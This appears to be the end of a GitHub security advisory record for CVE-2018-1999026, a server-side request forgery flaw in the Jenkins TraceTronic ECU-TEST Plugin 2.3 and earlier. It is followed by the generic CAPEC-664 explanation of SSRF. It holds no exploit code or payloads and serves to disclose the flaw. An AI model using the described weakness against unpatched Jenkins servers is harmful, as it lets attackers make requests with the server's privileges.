          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2018-1999026"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-01-09T21:25:56Z",
    "nvd_published_at": "2018-08-01T13:29:00Z",
    "severity": "MODERATE"
  },
  "details": "A server-side request forgery vulnerability exists in Jenkins TraceTronic ECU-TEST Plugin 2.3 and earlier in ATXPublisher.java that allows attackers to have Jenkins send HTTP requests to an attacker-specified host.",
  "id": "GHSA-hp7x-282p-hhr9",
  "modified": "2024-01-09T21:25:56Z",
  "published": "2022-05-14T02:57:12Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-1999026"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jenkinsci/ecutest-plugin/commit/943c4d3c8df521eb94fb99429717e3920c6fc7f7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jenkinsci/ecutest-plugin"
    },
    {
      "type": "WEB",
      "url": "https://jenkins.io/security/advisory/2018-07-30/#SECURITY-994"
    },
    {
      "type": "WEB",
      "url": "https://web.archive.org/web/20200227115310/http://www.securityfocus.com/bid/104960"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Jenkins TraceTronic ECU-TEST Plugin server-side request forgery vulnerability"
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.

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